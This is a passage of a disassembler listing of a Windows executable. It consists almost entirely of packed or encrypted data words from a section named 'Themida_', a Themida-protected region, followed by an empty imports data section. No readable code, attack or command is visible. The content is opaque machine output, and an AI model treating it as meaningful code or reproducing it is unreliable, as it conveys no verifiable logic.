0CE9h, 0EDDA9900h dd 5D69D55Fh, 1BF24695h, 669EBBDAh, 0CF814BF5h, 70215ABBh dd 4830Fh, 0B8660000h, 66F954D7h, 0FFCCB8Bh, 860FFBB7h dd 2, 0F6021B7h, 6657F3B7h, 8DBD681h, 8F0F6158h, 3, 0E8CFB70Fh dd 11h, 0ACBEC560h, 0B3D6FD6Ah, 0E8AED3A5h, 5DFD1B6Bh dd 0DDB86641h, 0BF0F5A52h, 84C380C3h, 0F5C28B66h, 0A2B4BB66h dd 5870Fh, 3ABF0000h, 5107DBAAh, 86B2BA66h, 0D781665Fh dd 8D0F0970h, 6, 8D0Fh, 0F88A0000h, 0C0B70F60h, 0FFBF0F61h dd 10E8h, 0B18D1B00h, 75F730B9h, 55EDC8FCh, 88082B2Eh dd 14E96Eh, 79260000h, 0E72A8FB7h, 4F0CD715h, 5646B110h dd 0AC51FDC7h, 805F9A87h, 0B70F81CAh, 86BE66DBh, 0EE98Dh dd 0FFF50000h, 57D6B92Fh, 3B1CFC89h, 475D5329h, 11E95BB0h dd 6B000000h, 5404610Fh, 0C5A8404Eh, 93E45FB6h, 0C7096247h dd 1EB0EF8Ah, 7E950h, 14A60000h, 73A2A999h, 0C38B5B58h dd 0FE8F78Ah, 0E9000000h, 0D5AC1F96h, 0B8ACD438h, 0F9FEC317h dd 535A3148h, 1870Fh, 59F80000h, 6E9h, 804BAB00h, 666D4BF6h dd 8F0FFE8Bh, 2, 8E0F19B2h, 7, 1810Fh, 8BFC0000h, 4810FF8h dd 53000000h, 8A585B53h, 8E9FCh, 77EE0000h, 924BCD82h dd 8A0FC873h, 2, 0F380E58Ah, 0AE857h, 7810000h, 90C7532Bh dd 914DA328h, 0E964BE66h, 58F0F5Ah, 66000000h, 0DA93C981h dd 0C18AD38Bh, 0C880Fh, 840F0000h, 6, 0B50BDF81h, 0FCF5022Bh dd 9E9F5F5h, 0E7000000h, 552BB12Fh, 59C8D9Ch, 13E956h dd 0C8010000h, 6B2DA878h, 7FEFAFEEh, 0DE30EAA8h, 9D029D1Ch dd 665659D8h, 59A742B9h, 8BBED18Bh, 0F189B26h, 68Bh, 0BBF28100h dd 8043AF26h, 0BF0F7EC7h, 0DFBF0FDBh, 0FFBF0F60h, 0FBB161F9h dd 0E05BF181h, 8B666BC9h, 0FCE8ACFh, 8166FEBFh, 0F6E5CC0h dd 8BF8C1BFh, 0B70F60D1h, 10E961D0h, 0DA000000h, 149FF7h dd 551DD8D6h, 9BE2309Eh, 60A65E18h, 5E8h, 0F34A6700h, 0E6B36DB6h dd 0CFBF0F5Fh, 118B0F61h, 0F000000h, 0B84h, 5E800h, 0D2E30000h dd 5B38DA82h, 66F38B66h, 818003B8h, 303F13D6h, 0BE9F57Eh dd 0D1000000h, 11C11FA1h, 4781D567h, 0F551E7B0h, 14E9605Eh dd 86000000h, 0ACFF7C73h, 31F78CB5h, 872EA52h, 0E751A649h dd 6140C4C2h, 118E0Fh, 9E80000h, 1A000000h, 0D60BD8C4h dd 5E306AC1h, 0E9585957h, 13h, 0FFD439CCh, 287DE6B4h, 0A39FDC26h dd 6714547Ah, 662B8F3Eh, 0F94CDE81h, 14E8h, 0DDB78700h dd 4618F3D4h, 480CC2DFh, 65B9ECCAh, 744A3E28h, 0D28166ABh dd 665E331Eh, 7EBED181h, 0A2BD5ABEh, 4C2815Eh, 6614FCECh dd 817AC2BBh, 0D98DA9D9h, 2800F7Ch, 8A000000h, 669AB7E6h dd 6651D08Bh, 0EC47E381h, 0EE9605Bh, 69000000h, 911706C9h dd 8368AFh, 0E0C321AFh, 82CF8095h, 0BE961h, 0B45E0000h dd 31B9E0B7h, 306410DCh, 5810F88h, 0BE000000h, 129B9950h dd 8BCAB70Fh, 810FFCFEh, 17h, 118C0Fh, 0BE80000h, 0CE000000h dd 0ABB7801h, 98891BD7h, 0B058BA3Eh, 0D0BF0FE6h, 5E9h dd 5B31BE00h, 0F18A4578h, 81DFB70Fh, 0DDFD79C0h, 13E971h dd 559A0000h, 4B91BBB5h, 90D9AE6h, 0A589BE98h, 16D7DFC1h dd 8B84B47Fh, 8166F9D0h, 0F24B4C9h, 1485h, 0DE95100h, 1A000000h dd 6D06EF80h, 820F36E2h, 0DD689975h, 0C88B6659h, 178F0Fh dd 6E80000h, 36000000h, 147985ECh, 6E98Ah, 2EC20000h, 30C15CDAh dd 0E9D88B5Ah, 5, 765D9082h, 7E9B8h, 0E7ED0000h, 8CBE252Eh dd 60F98B36h, 0C486C081h, 840F3F03h, 6, 58A5E181h, 0E8612D54h dd 0Dh, 69D76843h, 0DB21974Fh, 0D9612AB9h, 0F3816695h dd 5058FBB7h, 0E95999B3h, 7, 39EEED03h, 0E98F6F96h, 5 dd 0FCB6504Dh, 60CA8B83h, 6173CF80h, 14E8h, 595F0100h dd 4D80C8B9h, 0B57EC520h, 2E805396h, 49ACF3A8h, 0BE892h dd 0BD460000h, 0AD506A61h, 446F4515h, 0EE96Dh, 0C69F0000h dd 6BF89FEBh, 4C6BDB0Bh, 403175AAh, 81525859h, 6DDD2FF2h dd 81665A7Ch, 0E9838FD7h, 5, 0A7ADBA15h, 815E5049h, 5A43C1F1h dd 5850F5Ah, 0BB000000h, 6EFA96CCh, 0BE9h, 0D34F6500h dd 2A973238h, 0ADDD06DFh, 820Fh, 81660000h, 81D763F0h dd 0D14084F1h, 88C0F4Bh, 0F000000h, 283h, 66616000h, 0D423D881h dd 0FCD0B70Fh, 0B820Fh, 8B0F0000h, 5, 0D82947BBh, 0AE824h dd 0F06C0000h, 0C466FBBDh, 8F95DC24h, 7E9h, 29342900h dd 0DE1CB1A6h, 0D281665Bh, 87B97A7Ch, 0F489F8Ch, 484h dd 0BFBF6600h, 3719BBA5h, 6160458Ch, 0CE61BE66h, 6E9h dd 575C600h, 0E921A027h, 0Bh, 6BD5F1F6h, 9FD24E76h, 0B9F86019h dd 6EF940F9h, 0C91B966h, 0FD2BF0Fh, 18Bh, 8B66F500h, 0D3BA66DFh dd 0C8816657h, 8166BF64h, 0FA213D1h, 28Ah, 66B6B400h, 0B38AD781h dd 0F681C18Bh, 71A583E4h, 88B0Fh, 8A0F0000h, 2, 8C0FF88Bh dd 2, 81661FB3h, 8B5631E0h, 80BE66C7h, 88A0F5Fh, 0F000000h dd 28Ah, 66585300h, 0B123C881h, 3C3374B9h, 0D2BA6651h dd 0D5E981FEh, 0E8698BF8h, 0Dh, 626D8621h, 0FD735DE7h dd 44128B25h, 0B85AF5E6h, 12A1F8F7h, 7E9h, 8D48C500h, 0D0720270h dd 7E9h, 0CC081F00h, 9C2E2C43h, 810Fh, 0DA800000h, 0AE9B3h dd 30310000h, 0D7E4237Fh, 7A823285h, 660AF080h, 13E8D68Bh dd 61000000h, 0B2802725h, 56432EFDh, 6128EE1Ah, 9038D1EFh dd 0E4803D13h, 0BDB2591Eh, 66DA8B66h, 0FDBED78Bh, 0F91F3E4Ch dd 0FA68BF56h, 815E2624h, 62EA12E9h, 552EB84Eh, 11E817BBh dd 89000000h, 877578EBh, 7A8B4D4Dh, 350F7F6Ch, 4CD059Bh dd 28E0Fh, 61600000h, 14E859h, 2CEC0000h, 381060C1h, 3092F649h dd 0FFAEE096h, 0F279FBEEh, 665A6DA4h, 0F8BBC081h, 2890Fh dd 0C4B50000h, 1E25DE81h, 9FB87E23h, 8B50A124h, 0AE8DEh dd 8CBE0000h, 53100136h, 74ACD05Ah, 6E956h, 0F8790000h dd 897E0B5h, 8E0F5B5Ah, 5, 13E3BEBEh, 0C0816619h, 0C2803522h dd 816660B0h, 81CC3DCAh, 0C1E422DAh, 9E96175h, 75000000h dd 8932428Bh, 0CD950A41h, 10E9h, 0CFE5FF00h, 0DB006F01h dd 79BB1D4Eh, 10D0EE32h, 0D18166C8h, 830FC7A7h, 9, 3890Fh dd 8B660000h, 0D18B66F0h, 81D3BF0Fh, 0AD3B3FCFh, 0DE816041h dd 57854B38h, 0CB8061FCh, 0CB8B662Dh, 0FD6C480h, 9E8D8BFh dd 0AA000000h, 4DD4D7ADh, 0C7C7902Ch, 0E95F5260h, 0Fh dd 54606541h, 0B0842B5Ah, 80A9379Ah, 61513BA4h, 10800F5Bh dd 0E9000000h, 0Bh, 8A5701E7h, 8E95557Ah, 8BDB09CEh, 0D08166CAh dd 0EDB165A7h, 0E7DDE281h, 0CA8174C2h, 66A90C54h, 0F4ACF80h dd 0C8Bh, 6860F00h, 0F000000h, 8Eh, 0CBCE8100h, 0F428FCAh dd 385h, 0D1B70F00h, 0FFE8B60h, 6661C9BFh, 0F3F14BEh, 385h dd 0C28B6600h, 0D4F8BF66h, 0BBC2B70Fh dd 41ECC27Ch, 74E98060h, 11E9h, 92484400h, 75257F22h, 2B49C7A2h dd 500A5ACDh, 6061570Dh, 0DAB70FFCh, 10840F61h, 0E8000000h dd 9, 14A014FFh, 0F6EC19A3h, 805AFC1Fh, 0B5F530C6h, 0FCB8B83h dd 1987h, 0FE800h, 6F6C0000h, 0C5525A85h, 764AD0A8h, 5D145A4Fh dd 81BE6692h, 666059DEh, 668766B9h, 0F1F3E081h, 27B45361h dd 6619B35Eh, 0E94332B8h, 10h, 0E4FD8098h, 8FD7C39h, 0C3D722BAh dd 80DB33Eh, 0E9C38B66h, 5, 6C81D8EAh, 50D2816Ch, 661D9C80h dd 5D42E181h, 10E8h, 5FF8B300h, 813DD8F6h, 0FF06E11Fh dd 0D31B8F6h, 515AF9AEh, 78A0F5Bh, 51000000h, 70C18166h dd 8B665993h, 0BE8C2h, 0FFB90000h, 0F1FBA6C3h, 3D0AF920h dd 830F60CBh, 0 aAzFVuasS db 'aZ¶Ûf¾‚u€áÍ`é',8,0 align 4 dd 0DC30D800h, 0DFE9A5E1h, 0BF61F94Fh, 9D6863Ah, 38E0Fh dd 8B660000h, 0C28B66CAh, 188F0Fh, 13E90000h, 0EB000000h dd 6FC91037h, 0AA450E38h, 1E6D034h, 1DDA2920h, 850F7DEFh dd 6, 870Fh, 0CB810000h, 30C16A10h, 0DE9h, 0A6017400h dd 4C2C0919h, 70582CB5h, 830FFBE7h, 3, 80F3B70Fh, 0D18100D4h dd 618E2283h, 6E957h, 0C7AC0000h, 0D29FC563h, 0F6B70F5Eh dd 66C1B70Fh, 671EDE81h, 8E8h, 33038800h, 0D727B2D2h, 8B66606Eh dd 665861FBh, 0F27F681h, 0D8FCC981h, 0FF57DD6h, 8Ch, 0B4C98100h dd 0E92D3108h, 11h, 8C41B332h, 0DC416323h, 0DDDD3640h dd 0AB5278B2h, 0E0B15182h, 12E96059h, 0FB000000h, 8D140AE6h dd 25F004h, 0B9053FF1h, 49135C2Ch, 8166614Fh, 0E9BB28E8h dd 6, 0B66E9E8Bh, 8A5683B2h, 50605AC1h, 51585951h, 11E9h dd 0B3363E00h, 2891C685h, 9E1E59AAh, 0B308EC0Bh, 61585417h dd 9E9h, 8C5E3E00h, 52F1BD56h, 0B70F1BAAh, 830FCAh, 0BA000000h dd 38BB744Ah, 3870Fh, 0B70F0000h, 0BE9F6h, 0FC4A0000h dd 25DF5F57h, 614A0D15h, 7E856F9h, 0A3000000h, 96A28AAFh dd 7E98262h, 3000000h, 4E67242Dh, 585E34B1h, 0EAF58060h dd 0BEEA8166h, 5E96175h, 16000000h, 1177682h, 0BE663DB6h dd 80606FC6h, 0BB664DEEh, 816110C4h, 917302C8h, 8BFE8A61h dd 29F680D8h, 0DE9h, 6D9F4600h, 7EF19121h, 31990C49h, 2B7D23Ch dd 9E860F5h, 67000000h, 0D98AD4AEh, 9DD7ECE8h, 0EE9h, 629E3700h dd 7FEBE63Ah, 8917CE74h, 5F9CB5BCh, 434CB961h, 0D6815096h dd 619D0D4Ah, 215CB953h, 0E95951F7h, 13h, 0E4EB7584h, 73BE425Fh dd 0E48D7414h, 1A3D5389h, 0E9A50503h, 14h, 96DC0FB0h, 78CF66F4h dd 0B6243649h, 0F89CCA58h, 8BB4727Eh, 8166CA8Bh, 662283E6h dd 0EE3BE281h, 83666ABAh, 1A800F2Bh, 60000000h, 12E8h dd 6D13C000h, 0A7212B4Dh, 94D76D4Dh, 0FE7CE4EAh, 5FBA0BFCh dd 0DE8B6661h, 208C081h, 666024EAh, 514778B9h, 7EBA6158h dd 0BF45C648h, 593DE5D9h, 0C6CA8160h, 660FCE1Fh, 9B71C381h dd 0EE816661h, 6051756Eh, 850Fh, 0CD800000h, 0F5A617Ah dd 5857C0BFh, 0FC70BFB9h, 6FE08155h, 0F562986h, 1686h dd 0DE800h, 59CD0000h, 691AA3FFh, 390FD3F4h, 0F2C5B45h dd 8B5ADBB7h, 6D0EBEC8h, 0F38143BDh, 0FCBE2F7h, 3880Fh dd 0DB800000h, 0F2B70FB9h, 8B66DD8Ah, 0F4CFB9F0h, 8B667B17h dd 0EEB160FBh, 61F7BF0Fh, 5E9D68Bh, 69000000h, 8718DAE2h dd 94FD6AB8h, 0C9BF0F56h, 0FD0E580h, 8B50CEB7h, 8C0F5AD7h dd 4, 0F380B866h, 0FF96060h, 6661DBBFh, 0DFFBC881h, 0E8515161h dd 6, 86A5BC99h, 5F5EF029h, 13E85Ah, 51570000h, 0ED48A5C6h dd 573E7FD5h, 81B1E5A1h, 3BDE090Bh, 8E9B3h, 0E4930000h dd 6C38BD47h, 0F5A7A35h, 182h, 0AE9FC00h, 90000000h, 23591956h dd 2F1BEDDEh, 51F78B65h, 5EF1BF0Fh, 4A8CE881h, 0DB812415h dd 72906A7Bh, 11E9h, 2037FB00h, 0C64F92CFh, 945D4E1Bh dd 17E46398h, 8166754Fh, 579CB7F7h, 0DE960h, 30EA0000h dd 29D1CDEh, 0D60AD89Dh, 57E2EAA2h, 0F586159h, 0BF0FD8B7h dd 0ABC580CFh, 0D0B9FB8Bh, 0E90F92B1h, 12h, 7BCFFFD5h dd 0FD2453BAh, 9A9A1520h, 85007989h, 0E9F99935h, 8, 0DF648DF4h dd 0F942D090h, 58E0Fh, 81660000h, 66036FF7h, 8181B0B8h dd 8D9032E9h, 0F25B464h, 1889h, 11E95000h, 0D5000000h dd 0C2182F78h, 93513ABFh, 6BF77622h, 6035B2C8h, 0BFB8665Eh dd 13E916h, 9C210000h, 78D7A199h, 95CEC201h, 3A4436A9h dd 1B086468h, 14E9B8h, 0E30A0000h, 0A3929B0Ch, 4B4D8DFFh dd 36CF0412h, 0C7D40112h, 0E9818F9Bh, 78985A3Ah, 0FF5F58Ah dd 28Fh, 60DE8A00h, 0EE8h, 0FD232600h, 3377D515h, 0A5A62526h dd 0BA4C5968h, 6E1418F0h, 7E95Fh, 671D0000h, 7695F91h dd 8F0F6103h, 1, 0A1D981FCh, 60451A4Fh, 51DFBF0Fh, 6E49F781h dd 615E6D67h, 68D0Fh, 0DB810000h, 639341EFh, 0C820Fh, 850F0000h dd 6, 830Fh, 0E6BB0000h, 0B54DD7E0h, 0C1E181A4h, 811D630Eh dd 0F08C0F2h, 0AE93Fh, 0F3630000h, 514B3A79h, 0F9CDB8D2h dd 0DF6CDE81h, 0BF0F0F15h, 5417B9C0h, 8B66642Fh, 2890FC2h dd 0B1000000h, 0F38B6662h, 7E9h, 0F4C5F600h, 5CB9D5AFh dd 551BBA66h, 11E9h, 7A366700h, 0BF7A1469h, 8E62EA22h dd 0FDB44C9Dh, 0CE98B30h, 0AD000000h, 2272F442h, 9378A99Fh dd 0F8F88B9Bh, 0BED84DBEh, 0E3816620h, 0C180F290h, 6C0DB8F5h dd 0C9812873h, 62CF393Ah, 0CE9h, 81264700h, 0A862F4B2h dd 0A47F9B57h, 66C38A58h, 7F1FC981h, 38F0Fh, 0BF0F0000h dd 11E9C7h, 7F7F0000h, 0FC9F0B8h, 17BF15DFh, 0AD17C280h dd 0F72F442h, 1589h, 10E900h, 73E50000h, 33965505h, 930DD417h dd 650B1DDEh, 8B66B652h, 0DEB70FD0h, 9E9h, 0E1010900h dd 0B43F5A50h, 816616A6h, 81722FE0h, 369FACE2h, 0B9666000h dd 6661BBA4h, 8BCF181h, 4800Fh, 0BF660000h, 880F73E5h dd 2, 8166BDB6h, 608C1DD0h, 9E8h, 0F816A600h, 0EAE15B28h dd 6E93A2Fh, 0C8000000h, 1BEF4B28h, 880F5B21h, 3, 61CFEA80h dd 15860Fh, 0E9600000h, 0Bh, 0C455E309h, 32C59C4Dh, 808161C2h dd 0F6172D2h, 18B4D2BFh, 870F6DB2h, 2, 0D38BCB8Ah, 40DEBA66h dd 0DE9D88Bh, 57000000h, 58A47F9Bh, 0C247B3B8h, 41841A64h dd 0AE9h, 0D195A600h, 1E61A9A6h, 66545ED6h, 0A8BFCA81h dd 8BD98B66h, 0E38A50D9h, 60AAB359h, 617DE680h, 0CF816060h dd 793DA842h, 0CE8h, 0EBDC3200h, 3F25694Dh, 0CD76D8A9h dd 616159F7h, 56F98B66h, 8E0Fh, 0F5A0000h, 882h, 2830F00h dd 0B0000000h, 0BBA6B888h, 830F3AB9h, 0 dd 0C2BF0F60h, 8E860h, 97680000h, 96D32DC0h, 60597751h dd 66616161h, 0C781CA8Bh, 6B3FCA85h, 11E9h, 888B8B00h dd 0BE41B53Bh, 0CDC6D70h, 66EC6922h, 60608A77h, 0FE8h dd 0E83DA900h, 91AF7010h, 7DF2A8D7h, 8B1EBCDCh, 90C6815Fh dd 611D8E34h, 0DAC98166h, 8056615Ch, 8A5BFEE0h, 0D98166C6h dd 0EE8957Eh, 0C000000h, 20B383C9h, 0ADD1EA2Bh, 45D7A44Ch dd 10E929h, 0ABB00000h, 82C006A8h, 14FCC170h, 0E044842Fh dd 0F59E60Ch, 48Eh, 0BFB96600h, 0F78B665Ch, 809AF480h dd 816664C6h, 0B4116BC2h, 5E9EFh, 0FBFB0000h, 66EC8334h dd 60FB1BBBh, 0B9F28B66h, 64D5F1B2h, 6AD6AF61h, 82h dup(6AD6ACB6h) dd 30FFACB6h, 496h dup(30FD709Ch), 0F6BC199Ch, 2Ch dup(0F6BC185Eh) dd 45EFC25Eh, 1B9h dup(45EFC2B5h), 36Dh dup(97191249h) dd 2191249h, 157h dup(21B4914h), 0CC1B4914h, 839h dup(0CCCCCCCCh) dd 0CCh, 1D2h dup(0) Themida_ ends ; Section 5. (virtual address 001BA000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001BA000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5BA000h dd 80h dup(0) align 1000h _idata2 ends end start